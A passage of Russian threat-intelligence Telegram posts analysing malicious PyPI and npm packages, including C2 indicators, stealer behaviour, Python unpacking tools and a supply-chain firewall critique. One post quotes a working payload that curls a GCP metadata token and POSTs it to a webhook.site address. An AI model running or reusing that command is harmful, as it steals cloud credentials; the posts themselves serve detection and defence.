Forwarded from ESCalator
Снова ловим багхантеров 💀
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
🐈 Подозреваем, автор читал мартовскую статью Checkmarx, где злоумышленник «протроянил» пакет colorama. Был сделан pull request, который, помимо всего прочего, в ссылках на дистрибутивы легитимный домен
Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам🤨 Занятно. Нагрузка все та же — реверс-шеллы.
Домен🤬 . Что-ж...
———
PT PyAnalysis. Профессионально отслеживаем багхантеров с 2024 года.
#ti #pypi #pyanalysis
@ptescalator
В одном из предыдущих постов мы писали про следы багбаунти-деятельности по отношению к «Яндексу». История повторилась, но уже с нами.
Сработал алерт на активность, связанную с новыми вредоносными пакетами
innostage
и innostage_group
. История нетипичная: почта у разработчика — [email protected]
(о, русскоговорящий человек!), а нагрузка скачивается с доменов files.inostage.ru
(мимикрия под innostage-group.ru
) и files.pythonhosted.ru
(мимикрия под files.pythonhosted.org
). Человеку — большое уважение: озаботился покупкой домена, еще и перед этим, вероятно, ознакомился с атаками, проводимыми ранее... Отправляем репорт в Python Package Index, уведомляем коллег из Innostage.
files.pythonhosted.org
поменял на управляемый атакующим files.pypihosted.org
.Хоть в описании проекта и упоминается, что это багбаунти, в качестве нагрузки человек использовал не отстук (как это делал багхантер из истории с «Яндексом»), а реверс-шеллы (на скриншотах). Не совсем исследовательский подход, к сожалению.
Далее к пакетам
innostage
и innostage_group
прибавились cyberart
, ... posi
, maxpatrol
и ptsecurity
Домен
inostage.ru
уже ранее светился на Standoff. Получается, снова обнаружили деятельность багхантеров, в этот раз еще и помешав исследованию ———
#ti #pypi #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7😁4🤯2
Forwarded from ESCalator
Через блокчейн к данным ⭐️
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum😦
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
•
•
Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был😈 , остальные представляют собой VPS-серверы.
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
Эта строка проливает свет на возможные цели злоумышленника☕️
IoCs:
#ti #npm #pyanalysis #scs
@ptescalator
Исследователи из Socket и Checkmarx рассказали об интересной вредоносной кампании в NPM. Злоумышленники мимикрировали под плагины для Puppeteer и блокчейн-клиенты. Для получения IP-адреса актуального командного сервера используется смарт-контракт в блокчейне Ethereum
Из занятного — в коде библиотек используется несколько комментариев на русском:
•
console.error("Ошибка при получении IP адреса:", err)
;•
console.error("Ошибка при запуске файла:", _0x88fda8)
;•
console.error("Ошибка установки:", _0x14ce94)
;Socket предлагает быть осторожным с атрибуцией, так как это может быть следствием переиспользования кода либо сделано нарочно.
В зависимости от вашей платформы будет скачан и запущен один из следующих исполняемых файлов:
node-win.exe
, node-linux
, node-macos
. Ниже мы будем называть их агентами.Мы изучили кампанию подробнее и обнаружили еще несколько интересных деталей.
1️⃣ Несмотря на то что Socket и Checkmarx приводят только один IP-адрес в качестве сетевого IoC, функция назначения нового URL в смарт-контракте вызывалась несколько раз. Всего нам известно о пяти адресах, и самым ранним из них был
https://localhost:3001
2️⃣ Агент умеет закрепляться в системе и так же, как и JS-библиотеки, скачивающие и запускающие его, получать C2 через блокчейн. Исполняемый файл представляет собой Node.js Single Executable Application, который упаковывает проект и интерпретатор JS в единый файл.
3️⃣ Агент периодически опрашивает сервер на предмет команд в виде JS-кода. Первая нагрузка собирает информацию о системе жертвы: модель процессора, количество ядер, объем оперативной памяти, данные о видеокарте. Полученная информация отправляется обратно на сервер.
4️⃣ Агенты получают просто true, если нет новых задач. Из интересного: корень HTTP-сервера возвращал следующую ошибку:
{"statusCode":404,"message":"ENOENT: no such file or directory, stat '/root/botnet-server/public/index.html'"}
Эта строка проливает свет на возможные цели злоумышленника
IoCs:
https://194.53.54.188:3001
https://193.233.201.21:3001
https://45.125.67.172:1337
https://45.125.67.172:1228
194.53.54.188
193.233.201.21
45.125.67.172
#ti #npm #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👾5😁2
Forwarded from ESCalator
Первые шаги на хакерском поприще 🐱
Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие
Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.
1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:
🟢
🟢
В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением
Из занятного — в релизах проектов оставлены папки🐈
2️⃣ В июле-августе 2024 года существовал пакет
Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.
Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем
Сам подменяемый
Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis😍
Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников🎂
#ti #pypi #pyanalysis #scs
@ptescalator
Опенсорс — интересная среда для наблюдений за развитием проектов. Занятно изучать реализацию первых версий популярных библиотек наподобие
boto3
, scikit-learn
, requests
(концепт-план версии 0.2.0 — вполне креативный).Интересно наблюдать и за людьми, которые вместо использования популярных стилеров и RAT пробуют себя в написании собственных решений.
1️⃣ Пользователь SpaceyLad создал цепочку из двух пакетов:
not-so-evil-package-spaceylad
, код которого представлен на скриншотах 1 (оригинальная версия) и 2 (после автоматической деобфускации). Этот пакет отвечает за хранение строки с командой для скачивания нагрузки.not-evil-calculator-spaceylad
, который непосредственно запустит команду, — скриншот 3.В первом пакете во всех версиях, кроме 0.0.5, скачивается безобидный файл с расширением
.css
. Если вам не повезло, со страницы автора на PythonAnywhere скачан файл evil_python.exe
, представляющий собой... calc.exe
из пакета стандартных программ Windows. Но и в этом случае нагрузка отработает при наличии пользователя IXY
.Из занятного — в релизах проектов оставлены папки
.idea
(папка проекта в IDE PyCharm) и .venv
(папка с виртуальным окружением Python), которые, помимо скудной информации об авторе пакета, позволили узнать нам оригинальное название проекта — pip_evil_package
. Также благодаря нехитрой цепочке «гугления» выясняется, что разработчик является студентом факультета кибербезопасности одного из университетов Норвегии 2️⃣ В июле-августе 2024 года существовал пакет
recovery
, задача которого согласно описанию была простой: Checks recovery phone numbers against login page on yahoo
. Имя автора, ExodusChecker
, вызывает смутные подозрения, но давайте не будем торопиться.Первые версии пакета выглядят безобидными (скриншот 4 — для версий 0.0.1–0.0.3), затем появляются первые подсказки по вредоносной функциональности (скриншот 5 — версии 0.0.4–0.0.9). Начиная с версии 0.1.0 появляется логика замены файла ресурсов для криптокошелька Exodus (скриншот 6), а с версии 0.1.4 злоумышленник учится прикладывать бинарные файлы в релиз.
Автор на протяжении 19 релизов наращивает функциональность, постепенно превращая proof of concept с абсолютными путями (привет, юзер с именем
hammy
, тестирующий на Exodus 24.31.4
) в универсальный работающий код. Далее велись лишь QoL-работы. Конечный результат вы можете видеть на скриншоте 7, он отражает тридцатый по счeту релиз — 0.3.1. Скрипт suckme.bat
, сохраняемый в папку автозагрузки, — это отдельный анекдот.Сам подменяемый
app.asar
использует технику, ранее описанную JFrog в Impala Stealer, по отношению к хранилищу пакетов .NET NuGet: функция unlock
из app/wallet/index.js
получает функциональность отправки сид-фразы злоумышленнику (скриншоты 8, 9).Простой способ защититься от такого рода напастей — использовать изолированное от пользовательских файлов окружение, например Docker-контейнеры. Это может не спасти конечных пользователей, но разработчики будут в определенной степени защищены от типовых атак. Кроме того, можно посмотреть в сторону PyAnalysis
Желаем в наступающем новом году оставаться в безопасности от проделок злоумышленников
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5😁2👾1
Forwarded from ESCalator
Инструменты для работы с Python 😦
Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.
Команда Supply Chain Security собрала памятку по работе с инструментами
PyInstaller
Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.
Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.
Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.
py2exe
Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.
Файлы .pyc
На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.
1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.
2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.
3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...
4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны🐱 🐱 🐱
Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):
• Decompiler.com — мультифункциональный, «под капотом» uncompyle6.
• PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.
Happy hacking!
#ti #python #tools #scs
@ptescalator
Злоумышленники не стесняются использовать Python для своих целей. LazyStealer, упакованная PyInstaller, Python-бэкдор в ShadowPad и модули для Pupy RAT тому доказательство. Кроме того, задачи на снятие пакеров с дальнейшим исследованием встречаются на соревнованиях capture the flag.
Команда Supply Chain Security собрала памятку по работе с инструментами
PyInstaller
, py2exe
и со скомпилированными файлами .pyc
.PyInstaller
Один из самых популярных инструментов для упаковывания проекта в исполняемый файл под Windows, Linux, macOS. Библиотеки, относящиеся к проекту, дополнительно сериализуются с помощью стандартной библиотеки marshal в PYZ-файл.
Для работы с PyInataller можно использовать один из первых проектов — pyinstxtractor. Marshal не реализует обратную совместимость между своими версиями, поэтому для распаковки PYZ-файла pyinstxtractor требует запуска на той версии Python, которой был упакован PyInstaller.
Решает этот нюанс pyinstxtractor-ng: он использует библиотеку xdis, реализующую (де)сериализатор под Python 2.4–3.13, в силу чего для полной распаковки больше не требуется конкретная версия Python. Автор pyinstxtractor-ng выпустил веб-версию, переписанную на Go, она работает локально в браузере. Оба проекта активно обновляются и разбирают последние версии PyInstalller.
py2exe
Решение, нацеленное на упаковку проекта в исполняемый файл под Windows. Чуть-чуть не успевает за тенденциями и пока не умеет работать с Python 3.12 и 3.13. «Убийцей» пакера должен был стать unpy2exe, но последний коммит в master семь лет назад оставляет чувство печали. Автор этого решения так же, как и автор решения pyinstxtractor, предупреждает, что версии (хотя бы major) установленного Python и конечной нагрузки должны совпадать.
Файлы .pyc
На уровне Python используются для ускорения запуска кода и оптимизации импорта модулей. Для превращения обратно в исходный код есть несколько проектов, и если такое возможно, стоит сравнивать полученный декомпилированный код из одного проекта с декомпилированным кодом из другого.
1️⃣ Uncompyle6 и decompyle3 — две утилиты от автора вышеупомянутого xdis. Uncompyle6 покрывает версии Python до 3.8, decompyle3 — c 3.7 до, частично, 3.9. Автор просит помочь с проектом.
2️⃣ Семейство unpyc (unpyc3, unpyc37, unpyc37-3.10) — поддерживает точечно версии 3.3, 3.7, 3.10.
3️⃣ Pycdc — многообещающий декомпилятор, написанный на C++, также регулярно обновляется и старается поддерживать все версии байт-кода Python. Порой имеет сложности с разбором конструкций, поэтому...
4️⃣ Pycdas — дизассемблер из проекта pycdc, помогает попробовать разобрать файл с расширением .pyc, когда декомпиляторы уже бессильны
Существующие онлайн-проекты для файлов .pyc (осторожно, отправляют файлы на сервер):
• Decompiler.com — мультифункциональный, «под капотом» uncompyle6.
• PyLingual.io — многообещающее решение, находящееся в бете. Файлы версий 3.11, 3.12, 3.13 открывает без проблем.
Happy hacking!
#ti #python #tools #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11
Forwarded from ESCalator
Злоумышленник опубликовал вредоносные пакеты deepseeek и deepseekai в Python Package Index 🐳
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе🐱 .
IoCs:
#ti #pypi #pyanalysis #scs
@ptescalator
Команда Supply Chain Security департамента Threat Intelligence PT ESC обнаружила вредоносную кампанию на фоне популярной темы последних дней. Злоумышленник, создавший учетную запись
bvk
в июне 2023 года и до этого не проявлявший активность, 29 января 2025 года зарегистрировал вредоносные пакеты deepseeek и deepseekai.Найденные пакеты после установки крадут переменные окружения при вызове консольных команд deepseeek или deepseekai (скриншот 2). Переменные окружения обычно ценны тем, что в них могут содержаться чувствительные данные, используемые в рамках функционирования приложения, например данные доступа к объектному хранилищу S3 или другим ресурсам инфраструктуры.
Примечательно, что код создан с использованием ИИ-ассистента, на что указывают характерные комментарии (скриншот 3).
Мы оперативно уведомили администраторов репозитория, пакеты были отправлены в карантин и вскоре удалены. Несмотря на быструю реакцию, их успели скачать 36 раз пакетным менеджером pip и средством зеркалирования bandersnatch, еще 186 раз — при помощи браузера, requests и других средств.
Сохраняйте бдительность: злоумышленники постоянно ищут такие удачные названия для осуществления атак в опенсорсе
IoCs:
пакет PyPI: deepseeek
пакет PyPI: deepseekai
c2: eoyyiyqubj7mquj.m.pipedream.net
#ti #pypi #pyanalysis #scs
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5🤯3
Введение в Threat Intelligence
За последний год мне постучалось не меньше десяти человек с вопросом о том, где можно узнать больше о направлении TI.
Кого-то волновало, что навыков реверса CTF-тасок недостаточно, кто-то хочет перейти из смежной специальности (SOC, DFIR). И в основном людей интересует, какие типовые задачи решают TI-специалисты, чтобы понять, подходит им это.
Недавно обнаружил, что мои коллеги сняли серию вебинаров, которые как раз отвечают на эти вопросы — "Лучше звоните PT ESC"🎂
На данный момент вышло 4 части:
🟢 Погружение в Threat Intelligence;
🟢 Мир киберугроз с Threat Intelligence — задачи, не ограниченные индикаторами компрометации;
🟢 Потоки TI-данных — как использовать сведения об актуальных киберугрозах;
🟢 Будни TI-аналитика: задачи, навыки и инструменты.
Послушал на досуге — здесь как раз полно отвечают на все вопросы, связанные с компетенциями в области TI и с навыками, которыми необходимо обладать. Также можно узнать о том, как выглядит потребность в TI со стороны организаций, которые хотят улучшить свою защищённость. Так что советую изучить🐾
#ti #материалы
@disasm_me_ch
За последний год мне постучалось не меньше десяти человек с вопросом о том, где можно узнать больше о направлении TI.
Кого-то волновало, что навыков реверса CTF-тасок недостаточно, кто-то хочет перейти из смежной специальности (SOC, DFIR). И в основном людей интересует, какие типовые задачи решают TI-специалисты, чтобы понять, подходит им это.
Недавно обнаружил, что мои коллеги сняли серию вебинаров, которые как раз отвечают на эти вопросы — "Лучше звоните PT ESC"
На данный момент вышло 4 части:
Послушал на досуге — здесь как раз полно отвечают на все вопросы, связанные с компетенциями в области TI и с навыками, которыми необходимо обладать. Также можно узнать о том, как выглядит потребность в TI со стороны организаций, которые хотят улучшить свою защищённость. Так что советую изучить
#ti #материалы
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
ptsecurity.com
Вебинары Positive Technologies
Мы начинаем серию вебинаров «Лучше звоните PT ESC» о работе команд экспертного центра безопасности (PT ESC). В первом эпизоде расскажем, кто эти ребята и какую роль они играют в модели результативного кибербеза, а также поговорим о Threat Intelligence и о…
🔥8😁3
Журналисты надругались над питонистом
Мне прислали новость о том, что миллионы компьютеров оказались под угрозой взлома из-за критической уязвимости, связанной с Python.
Сама новость прошла через следующую цепочку: ITc новости -> 3D News с ссылкой на комментарий эксперта "Газинформсервис".
3D News, а за ним и ITc сообщают:
Пакет
Согласно репорту автора находки, он заметил отсутствие зависимости и зарегистрировал заглушку 4 марта. В качестве решения проблемы он предлагает выпуск новой версии пакета
Проверил
Но стоп, а где же злоумышленники, которые создали вредоносный пакет по мнению русскоязычных источников... А их и нет, фраза "This flaw could allow attackers to execute arbitrary code on systems where the library is installed." была видимо неправильно интерпретирована, из-за чего исследователь, зарегистрировавший заглушку, превратился в злоумышленника💀
Грустно за человека...
#ti #pypi
@disasm_me_ch
Мне прислали новость о том, что миллионы компьютеров оказались под угрозой взлома из-за критической уязвимости, связанной с Python.
Сама новость прошла через следующую цепочку: ITc новости -> 3D News с ссылкой на комментарий эксперта "Газинформсервис".
3D News, а за ним и ITc сообщают:
Злоумышленники добавили в репозиторий вредоносный пакет с тем же именем, который даёт им возможность удалённого выполнения произвольного кода на уязвимых системах, что может привести к компрометации данных, краже информации и полному контролю над заражённым ПК.
Пакет
msgspec-python313-pre
является опциональной зависимостью dev-сборок для CPython 3.13 в популярном пакете python-json-logger
(рис. 1). Поэтому неудивительно, что когда msgspec-python313-pre
удалили 30 декабря 2024, отсутствие зависимости заметили только 4 марта 2025.Согласно репорту автора находки, он заметил отсутствие зависимости и зарегистрировал заглушку 4 марта. В качестве решения проблемы он предлагает выпуск новой версии пакета
python-json-logger
с доработкой или передачу им прав на пакет msgspec-python313-pre
правильным людям.Проверил
msgspec-python313-pre
— было выпущено две версии пакета (рис. 2 и рис. 3), обе без вредоносной активности. Ресёрчер поступил верно перед публикацией репорта, чтобы никто с плохим умыслом не воспользовался ситуацией.Но стоп, а где же злоумышленники, которые создали вредоносный пакет по мнению русскоязычных источников... А их и нет, фраза "This flaw could allow attackers to execute arbitrary code on systems where the library is installed." была видимо неправильно интерпретирована, из-за чего исследователь, зарегистрировавший заглушку, превратился в злоумышленника
Грустно за человека...
#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚15😁4🤯3🔥1🤬1
Oh no...
Сегодня пользователь
Кажется, началось... Благо автор не является известным разработчиком в отношении экосистемы
Пояснение:сейчас тренд переписывать питоновские библиотеки в виде биндингов на раст-реализацию
UPD: пока писал пост, вышла новая версия, её функционал приведён на втором скрине. heh.jpg
#memes #ti #pypi
@disasm_me_ch
Сегодня пользователь
simplestway7
зарегистрировал библиотеку numpy-rs
.Кажется, началось... Благо автор не является известным разработчиком в отношении экосистемы
numpy
, поэтому это либо проба пера (сейчас библиотека пустая), либо занятие названия для дальнейшей dependency confusion-атаки. Пояснение:
UPD: пока писал пост, вышла новая версия, её функционал приведён на втором скрине. heh.jpg
#memes #ti #pypi
@disasm_me_ch
👾8😁4🌚2
Forwarded from ESCalator
Mmaallwwaarree iinn ooppeennssoouurrccee!
В сети развивается примечательная кампания одного исследователя. Ему принадлежат следующие пакеты:
Пользователь
🟢
🟢
🟢
🟢
🟢
🟢
🟢
Пользователь
🟢
🟢
Нагрузка отрабатывает в момент установки пакета.
Интересно в реальном времени наблюдать, как развивается кампания:
🔤 PoC с комментариями на китайском. Вероятно, тут приложил руку LLM-ассистент (скриншот 1, библиотека
🔤 Результат работы Unix-команды
🔤 Выполняется код, полученный с C2-сервера (скриншот 3,
🔤 Почему бы не прихватить листинг интересных директорий (
🔤 Нет, так много не надо, из директорий достаточно
На хосте либо на виртуалке для тестов злоумышленник использует имя пользователя
Примечателен принцип именования пакетов. Кроме того, всегда интересно следить, как в режиме реального времени злоумышленник борется с тем, что его пакеты удаляют по репортам😈
В информационной безопасности есть термин «пирамида боли» (The Pyramid of Pain) — он описывает сложность ухода от обнаружения. Так вот, в рамках кампании злоумышленник использует один и тот же уникальный файл😑
Опасайтесь всяких волков.
#ti #scs #pyanalysis
@ptescalator
В сети развивается примечательная кампания одного исследователя. Ему принадлежат следующие пакеты:
Пользователь
lastbright
:yyttt
bbllaacckkwwoollff
bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a
bbllaacckkwwoollff6ad8f762
bbllaacckkwwoollff6ad8f751
bbllaacckkwwoollff6ad8f752
bbllaacckkwwoollff6ad8f753
Пользователь
lifeyi2253
:f2d5cfdc642c3d4
f2d5cfdc642c3d5
Нагрузка отрабатывает в момент установки пакета.
Интересно в реальном времени наблюдать, как развивается кампания:
yyttt 0.1
).id
отправляется на удаленный сервер (скриншот 2, bbllaacckkwwoollff
0.1
, 0.2
).bbllaacckkwwoollff
0.3
, 0.4
, bbllaacckkwwoollff-6ad8f762-1a91-45d7-a9c5-356bd858356a 0.1
)./opt/
, /run/
), переменные окружения и прочую радость (скриншот 4, bbllaacckkwwoollff6ad8f753 0.1
)?/etc/
(скриншот 5, f2d5cfdc642c3d5 0.1
).На хосте либо на виртуалке для тестов злоумышленник использует имя пользователя
mind
, о чем говорит путь /home/mind/configuration/config.py
в четвертой итерации (скриншот 4).Примечателен принцип именования пакетов. Кроме того, всегда интересно следить, как в режиме реального времени злоумышленник борется с тем, что его пакеты удаляют по репортам
В информационной безопасности есть термин «пирамида боли» (The Pyramid of Pain) — он описывает сложность ухода от обнаружения. Так вот, в рамках кампании злоумышленник использует один и тот же уникальный файл
__init__.py
, представленный на скриншоте 6. Система PT PyAnalysis легко это подсвечивает Опасайтесь всяких волков.
#ti #scs #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👾6
Нагрузка вплоть до января 2023 — это сбор информации о системе и отправка этого добра на сервер на этапе установки пакета (рис. 1). По нынешним стандартам он багхантил не совсем этично.
Затем исследователь перешел на более спокойный вариант, просто выводя строку "install". Далее он избавится и от print, оставив только упоминание кампании (рис. 2). Вероятно этого достаточно для подтверждения уязвимости с учётом того, что он всегда явно знает, какой пакет атакует. Да и риск того, что пакет преждевременно снесут, становится ниже.
В последнем проекте,
libmambapy
, выпущенном в мае 2024, он реализовал POC на JavaScript, запускаемый с помощью execjs
(рис. 3). К сожалению, хоть библиотека и указана в install_requires
, но импортируется она слишком рано, из-за чего setup.py
упадет с ModuleNotFoundError
. Но в любом случае уход от обнаружения путём перехода на другой язык — очень хороший шаг Stay multi-lingual,
#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👾3🔥1
Немного Python-рутины. Больше нагрузок хороших и разных.
Сегодня странный человек решил запостить 6 пакетов подряд под единственной учёткой.
Имя у пакетов вполне хахабельное — это производные от
Этот payload я вижу в последнее время всё чаще и чаще. Тоже является примером использования других языков для избежания обнаружения, но у злоумышленника не прокнуло.
Если интересно порассуждать, что делает этот код, то welcome в комментарии)
#ti #pypi
@disasm_me_ch
Сегодня странный человек решил запостить 6 пакетов подряд под единственной учёткой.
Имя у пакетов вполне хахабельное — это производные от
veriftest1asdla
(рис. 1). Внутри содержится следующая нагрузка:os.system("access_token=$(curl -H 'Metadata-Flavor: Google' 'https://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[email protected]/token'); curl -X POST -d \"$access_token\" https://webhook.site/REDACTED")
Этот payload я вижу в последнее время всё чаще и чаще. Тоже является примером использования других языков для избежания обнаружения, но у злоумышленника не прокнуло.
Если интересно порассуждать, что делает этот код, то welcome в комментарии)
#ti #pypi
@disasm_me_ch
🔥3👾2🤯1
Insecure Firewall 😖
Со мной несколько раз поделились проектом Supply-Chain Firewall от команды Datadog. Делюсь своими мыслями и я :)
Проект в своей ридми заявляет следующее (ниже перевод):
Supply-Chain Firewall — это инструмент командной строки, предназначенный для предотвращения установки вредоносных пакетов из PyPI и npm. В первую очередь он рассчитан на разработчиков, чтобы защитить их рабочие станции от компрометации в результате атак на цепочку поставок.
Основная цель Supply-Chain Firewall — полностью (на 100 %) блокировать установку всех известных вредоносных пакетов, охватываемых его источниками данных.
В качестве источника они используют публичный датасет Datadog и фиды OSV.dev. Принцип заключается в том, что вы будете оборачивать команды установки пакетов с помощью pip/poetry/npm — в их тулзу:
В свою очередь
1. Проверяет версию пакетного менеджера (
2. Добавляет к оригинальной команде параметры, отвечающие за прогон без установки — режим dry-run (место в логике для npm, pip, poetry).
3. Проверяет список пакетов-кандидатов на установку в фидах.
Что делает прогон без установки?
Вроде бы из названия понятно, что пакетный менеджер как-то соберет зависимости, но не установит их. Но что будет с пакетами, содержащими preinstall- и postinstall-логику(там обычно содержатся проверки окружения, доустановка необходимых зависимостей, которые невозможно указать в манифесте, компиляция сорсов, etc.) ...
У dry-run гипотетически возможны два варианта поведения:
1. Пытается установить все пакеты во временное виртуальное окружение, запуская все установочные скрипты. Для SCFW это плохо, так как подавляющий пласт троянов исполняются как раз в install-time.
2. Игнорирует/ругается на/выкидывает исключение на скрипты. Это более безопасный, но страдающий в плане полноты зависимостей вариант.
Давайте поставим
Получается, что dry-run в случае с Python-пакетами запускает код из setup.py, вместе со всей вредоносной install-time-активностью💀
SCFW задумывается как утилита для пользователей, которые хотят убедиться в безопасности выполняемой pip/poetry/npm-команды и запускают команду на своем компьютере без обязательной изоляции окружения. К сожалению, с данной задачей она не справится. Лучше взять
Хочу напомнить важное правило: do your own research. Будьте любознательны, даже если разработчик решения убеждает, что всё под контролем😊
#pypi #npm #ti #ресерч
@disasm_me_ch
Со мной несколько раз поделились проектом Supply-Chain Firewall от команды Datadog. Делюсь своими мыслями и я :)
Проект в своей ридми заявляет следующее (ниже перевод):
Supply-Chain Firewall — это инструмент командной строки, предназначенный для предотвращения установки вредоносных пакетов из PyPI и npm. В первую очередь он рассчитан на разработчиков, чтобы защитить их рабочие станции от компрометации в результате атак на цепочку поставок.
Основная цель Supply-Chain Firewall — полностью (на 100 %) блокировать установку всех известных вредоносных пакетов, охватываемых его источниками данных.
В качестве источника они используют публичный датасет Datadog и фиды OSV.dev. Принцип заключается в том, что вы будете оборачивать команды установки пакетов с помощью pip/poetry/npm — в их тулзу:
scfw run pip install hello_world
scfw run poetry install hello_world
scfw run npm install hello_world
В свою очередь
scfw
:1. Проверяет версию пакетного менеджера (
npm >= 7.0.0
, pip >= 22.2
, poetry >= 1.7.0
).2. Добавляет к оригинальной команде параметры, отвечающие за прогон без установки — режим dry-run (место в логике для npm, pip, poetry).
3. Проверяет список пакетов-кандидатов на установку в фидах.
Что делает прогон без установки?
